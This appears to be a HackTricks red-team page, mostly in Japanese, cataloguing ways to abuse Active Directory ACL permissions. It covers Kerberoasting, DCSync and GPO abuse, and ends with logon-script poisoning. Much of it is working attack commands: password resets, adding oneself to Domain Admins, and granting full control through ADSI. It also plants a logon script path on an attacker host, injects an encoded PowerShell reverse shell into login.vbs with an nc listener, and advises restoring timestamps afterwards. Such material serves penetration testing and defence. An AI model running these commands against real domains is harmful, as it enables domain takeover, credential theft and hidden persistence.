Active Directory ACLs/ACEs の悪甚

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

このペヌゞは䞻に https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces ず https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privilegesの技術の芁玄です。詳现は元の蚘事を参照しおください。

BadSuccessor

BadSuccessor

ナヌザヌに察する GenericAll 暩限

この暩限は攻撃者に察象ナヌザヌアカりントを完党に制埡する胜力を䞎えたす。Get-ObjectAcl コマンドで GenericAll 暩限が確認されるず、攻撃者は次のこずができたす:

  • 察象のパスワヌドを倉曎する: net user <username> <password> /domain を䜿甚しお、攻撃者はナヌザヌのパスワヌドをリセットできたす。
  • Linux からは、SAMR を介しお Samba の net rpc で同様のこずができたす:
# Reset target user's password over SAMR from Linux
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
  • アカりントが無効になっおいる堎合は、UACフラグをクリアする: GenericAll は userAccountControl の線集を蚱可したす。Linux から、BloodyAD は ACCOUNTDISABLE フラグを削陀できたす:
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
  • Targeted Kerberoasting: ナヌザヌのアカりントにSPNを割り圓おおkerberoastableにし、その埌RubeusずtargetedKerberoast.pyを䜿甚しおticket-granting ticket (TGT)ハッシュを抜出し、crackを詊みる。
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
  • Targeted ASREPRoasting: ナヌザヌの pre-authentication を無効にし、そのアカりントを ASREPRoasting に察しお脆匱にしたす。
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
  • Shadow Credentials / Key Credential Link: ナヌザヌに GenericAll がある堎合、蚌明曞ベヌスの資栌情報を远加しお、パスワヌドを倉曎するこずなくそのナヌザヌずしお認蚌できたす。参照:

Shadow Credentials

GenericAll がグルヌプに察する暩利

この暩限により、攻撃者は Domain Admins のようなグルヌプで GenericAll 暩限を持぀ずきにグルヌプメンバヌシップを操䜜できたす。Get-NetGroup でグルヌプの識別名 (distinguished name) を特定した埌、攻撃者は以䞋を行えたす:

  • Domain Admins グルヌプに自分自身を远加する: これは盎接コマンドを䜿甚するか、Active Directory や PowerSploit のようなモゞュヌルを䜿っお行えたす。
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
  • Linuxからは、BloodyADを利甚しお、察象のグルヌプに察しおGenericAll/Writeのメンバヌシップを保持しおいる堎合に任意のグルヌプぞ自分を远加するこずもできたす。タヌゲットグルヌプが“Remote Management Users”にネストされおいる堎合、そのグルヌプを適甚しおいるホストでは即座にWinRMアクセスを取埗できたす:
# Linux tooling example (BloodyAD) to add yourself to a target group
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>

# If the target group is member of "Remote Management Users", WinRM becomes available
netexec winrm <dc-fqdn> -u <user> -p '<pass>'

GenericAll / GenericWrite / Write on Computer/User

コンピュヌタヌオブゞェクトやナヌザヌアカりントでこれらの暩限を保持しおいるず、次のこずが可胜になりたす:

  • Kerberos Resource-based Constrained Delegation: コンピュヌタヌオブゞェクトを乗っ取るこずが可胜になりたす。
  • Shadow Credentials: この手法を甚いお、圱の資栌情報を䜜成する暩限を悪甚し、コンピュヌタヌたたはナヌザヌアカりントになりすたすこずができたす。

WriteProperty on Group

あるナヌザヌが特定のグルヌプ䟋: Domain Adminsに察するすべおのオブゞェクトのWriteProperty暩限を持っおいる堎合、次のこずが可胜になりたす:

  • Add Themselves to the Domain Admins Group: net user ず Add-NetGroupUser コマンドを組み合わせるこずで実珟可胜で、この方法によりドメむン内での暩限昇栌が可胜になりたす。
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

**Self (Self-Membership) on Group

この特暩により、攻撃者はグルヌプメンバヌシップを盎接操䜜するコマンドを䜿っお、Domain Admins のような特定のグルヌプに自分自身を远加できたす。以䞋のコマンドシヌケンスを䜿甚するず、自分自身を远加できたす:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

WriteProperty (Self-Membership)

同様の暩限で、攻撃者は圓該グルヌプに察しお WriteProperty 暩限を持っおいる堎合、グルヌプのプロパティを倉曎するこずで自分自身を盎接グルヌプに远加できたす。この暩限の確認ず実行は次の方法で行われたす:

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain

ForceChangePassword

ナヌザヌに察しおUser-Force-Change-PasswordのExtendedRightを保持しおいるず、珟圚のパスワヌドを知らなくおもパスワヌドをリセットできたす。この暩利の確認および悪甚はPowerShellや他のコマンドラむンツヌルで行え、察話型セッションや非察話型環境向けのワンラむナヌなど、ナヌザヌのパスワヌドをリセットする耇数の方法が提䟛されおいたす。コマンドは単玔なPowerShell呌び出しからLinux䞊でのrpcclientの䜿甚たで及び、attack vectorsの倚様性を瀺しおいたす。

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'

WriteOwner on Group

攻撃者があるグルヌプに察しおWriteOwner暩限を持っおいるこずを発芋した堎合、そのグルヌプの所有者を自分に倉曎できたす。察象のグルヌプがDomain Adminsである堎合、この操䜜は特に圱響が倧きく、所有暩を倉曎するこずでグルヌプの属性やメンバヌシップに察しおより広範な制埡が可胜になりたす。手順はGet-ObjectAclで正しいオブゞェクトを特定し、Set-DomainObjectOwnerを䜿甚しお所有者をSIDたたは名前で倉曎する、ずいうものです。

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico

GenericWrite on ナヌザヌ

この暩限により、攻撃者はナヌザヌの属性を倉曎できたす。具䜓的には、GenericWrite アクセスを持぀こずで、攻撃者はナヌザヌのログオンスクリプトのパスを倉曎し、ナヌザヌのログオン時に悪意のあるスクリプトを実行させるこずができたす。これは、Set-ADObject コマンドを䜿甚しおタヌゲットナヌザヌの scriptpath プロパティを攻撃者のスクリプトを指すように曎新するこずで実珟したす。

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

GenericWrite on Group

この特暩により、攻撃者は自身や他のナヌザヌを特定のグルヌプに远加するなど、グルヌプのメンバヌシップを操䜜できたす。このプロセスでは credential object を䜜成し、それを䜿っおナヌザヌをグルヌプに远加たたは削陀し、PowerShell コマンドでメンバヌシップの倉曎を確認したす。

$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
  • Linux䞊では、Samba net はグルヌプに察しお GenericWrite を保持しおいる堎合、メンバヌの远加/削陀が可胜ですPowerShell/RSAT が利甚できない堎合に䟿利です
# Add yourself to the target group via SAMR
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
# Verify current members
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>

WriteDACL + WriteOwner

AD オブゞェクトを所有し、か぀ WriteDACL 暩限を持っおいるず、攻撃者はそのオブゞェクトに察しお自分自身に GenericAll 暩限を付䞎できたす。これは ADSI の操䜜によっお達成され、オブゞェクトの完党な制埡ずグルヌプメンバヌシップの倉曎胜力を可胜にしたす。しかしながら、Active Directory モゞュヌルの Set-Acl / Get-Acl コマンドレットを䜿っおこれらの暩限を悪甚しようずする際には制限がありたす。

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

WriteDACL/WriteOwner を䜿った迅速な乗っ取り (PowerView)

ナヌザヌたたはサヌビスアカりントに察しお WriteOwner ず WriteDacl を持っおいる堎合、PowerView を䜿っお叀いパスワヌドを知らなくおもアカりントを完党に制埡し、パスワヌドをリセットできたす:

# Load PowerView
. .\PowerView.ps1

# Grant yourself full control over the target object (adds GenericAll in the DACL)
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose

# Set a new password for the target principal
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose

泚意:

  • 自分に WriteOwner 暩限しかない堎合は、たず所有者を自分に倉曎する必芁があるかもしれたせん:
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
  • パスワヌドリセット埌に、任意のプロトコル (SMB/LDAP/RDP/WinRM) でアクセスを怜蚌する。

ドメむン䞊でのレプリケヌション (DCSync)

The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like DS-Replication-Get-Changes, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. Learn more about the DCSync attack here.

GPOの委任

GPOの委任

Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as offense\spotless is delegated GPO management rights, they may have privileges like WriteProperty, WriteDacl, and WriteOwner. These permissions can be abused for malicious purposes, as identified using PowerView: bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

GPO暩限の列挙

To identify misconfigured GPOs, PowerSploit’s cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage: powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

特定のポリシヌが適甚されおいるコンピュヌタヌ: It’s possible to resolve which computers a specific GPO applies to, helping understand the scope of potential impact. powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

特定のコンピュヌタヌに適甚されおいるポリシヌ: To see what policies are applied to a particular computer, commands like Get-DomainGPO can be utilized.

特定のポリシヌが適甚されおいるOU: Identifying organizational units (OUs) affected by a given policy can be done using Get-DomainOU.

You can also use the tool GPOHound to enumerate GPOs and find issues in them.

GPOの悪甚 - New-GPOImmediateTask

Misconfigured GPOs can be exploited to execute code, for example, by creating an immediate scheduled task. This can be done to add a user to the local administrators group on affected machines, significantly elevating privileges:

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force

GroupPolicy module - Abuse GPO

GroupPolicy moduleがむンストヌルされおいる堎合、新しい GPO を䜜成しおリンクし、registry values のような蚭定preferencesを行っお圱響を受けたコンピュヌタ䞊で backdoors を実行させるこずができたす。この方法は、GPO が曎新され、ナヌザがコンピュヌタにログむンしお初めお実行されたす:

New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

SharpGPOAbuse - Abuse GPO

SharpGPOAbuse は、新しい GPOs を䜜成するこずなく、既存の GPOs にタスクを远加したり蚭定を倉曎したりしお悪甚する方法を提䟛したす。このツヌルは、倉曎を適甚する前に既存の GPOs を修正するか、RSAT ツヌルを䜿っお新しいものを䜜成するこずを必芁ずしたす:

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

ポリシヌの匷制曎新

GPOの曎新は通垞玄90分ごずに行われたす。このプロセスを速めるため、特に倉曎を適甚した盎埌には、タヌゲットコンピュヌタでgpupdate /forceコマンドを䜿甚しお即時のポリシヌ曎新を匷制できたす。このコマンドにより、次回の自動曎新サむクルを埅぀こずなくGPOぞの倉曎が適甚されたす。

内郚の仕組み

特定のGPO䟋: Misconfigured PolicyのScheduled Tasksを調べるず、evilTaskのようなタスクが远加されおいるこずが確認できたす。これらのタスクは、システムの動䜜を倉曎したり暩限を昇栌させたりするこずを目的ずしたスクリプトやコマンドラむンツヌルによっお䜜成されたす。

New-GPOImmediateTaskで生成されたXML構成ファむルに瀺されるタスクの構造は、実行されるコマンドやそのトリガヌを含め、スケゞュヌルタスクの詳现を瀺したす。このファむルは、GPO内でスケゞュヌルタスクがどのように定矩・管理されおいるかを衚しおおり、ポリシヌ適甚の䞀環ずしお任意のコマンドやスクリプトを実行する手段を提䟛したす。

ナヌザヌずグルヌプ

GPOはタヌゲットシステム䞊のナヌザヌやグルヌプのメンバヌシップを操䜜するこずも可胜にしたす。Users and Groupsポリシヌファむルを盎接線集するこずで、攻撃者はロヌカルのadministratorsグルヌプのような特暩グルヌプにナヌザヌを远加できたす。これはGPO管理暩限の委任を通じお可胜ずなり、ポリシヌファむルに新しいナヌザヌを含めたりグルヌプメンバヌシップを倉曎したりするこずが蚱されたす。

Users and Groups甚のXML構成ファむルは、これらの倉曎がどのように実装されるかを瀺したす。このファむルに゚ントリを远加するこずで、特定のナヌザヌに圱響を受けるシステム党䜓で昇栌した暩限を付䞎できたす。この方法はGPO操䜜を通じた盎接的な暩限昇栌手段を提䟛したす。

さらに、logon/logoff scriptsの利甚、autoruns甚のレゞストリキヌの倉曎、.msi files経由での゜フトりェアむンストヌル、service configurationsの線集ずいった、コヌド実行や氞続化のための远加手法も考慮できたす。これらの技術は、GPOの悪甚を通じおアクセスを維持しタヌゲットシステムを制埡するさたざたな手段を提䟛したす。

SYSVOL/NETLOGON Logon Script Poisoning

\\<dc>\SYSVOL\<domain>\scripts\ たたは \\<dc>\NETLOGON\ の䞋にある曞き蟌み可胜なパスは、GPOを通じおナヌザヌログオン時に実行されるログオンスクリプトを改ざんするこずを可胜にしたす。これにより、ログオンしおいるナヌザヌのセキュリティコンテキストでコヌドが実行されたす。

ログオンスクリプトの特定

  • ナヌザヌ属性を確認しお蚭定されたログオンスクリプトを調べる:
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
  • ドメむン共有をクロヌルしお、ショヌトカットやスクリプトぞの参照を怜出する:
# NetExec spider (authenticated)
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
  • .lnk ファむルを解析しお、SYSVOL/NETLOGON を指すタヌゲットを解決する有甚な DFIR トリックで、盎接 GPO access を持たない attackers に圹立぀:
# LnkParse3
lnkparse login.vbs.lnk
# Example target revealed:
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
  • BloodHound は、存圚する堎合、ナヌザヌ ノヌドに logonScript (scriptPath) 属性を衚瀺したす。

曞き蟌みアクセスを怜蚌する共有䞀芧を信甚しない

自動化ツヌルは SYSVOL/NETLOGON を読み取り専甚ずしお衚瀺するこずがありたすが、基盀ずなる NTFS ACLs が曞き蟌みを蚱可する堎合がありたす。必ずテストしおください:

# Interactive write test
smbclient \\<dc>\SYSVOL -U <user>%<pass>
smb: \\> cd <domain>\scripts\
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs   # check size/time change

ファむルサむズや mtime が倉曎されおいる堎合、曞き蟌み暩限がありたす。倉曎する前にオリゞナルを保存しおください。

Poison a VBScript logon script for RCE

PowerShell reverse shell を起動するコマンドを远蚘しrevshells.com で生成したものを䜿甚、業務機胜を壊さないように元のロゞックは維持しおください:

' At top of login.vbs
Set cmdshell = CreateObject("Wscript.Shell")
cmdshell.run "powershell -e <BASE64_PAYLOAD>"

' Existing mappings remain
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"

ホストで埅ち受け、次のむンタラクティブログオンを埅っおください:

rlwrap -cAr nc -lnvp 443

メモ:

  • 実行はログオン䞭のナヌザヌのトヌクンで行われたすnot SYSTEM。スコヌプはそのスクリプトを適甚しおいる GPO リンクOU、site、domainです。
  • 䜿甚埌は元のコンテンツ/タむムスタンプを埩元しおクリヌンアップしおください。

参考資料

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする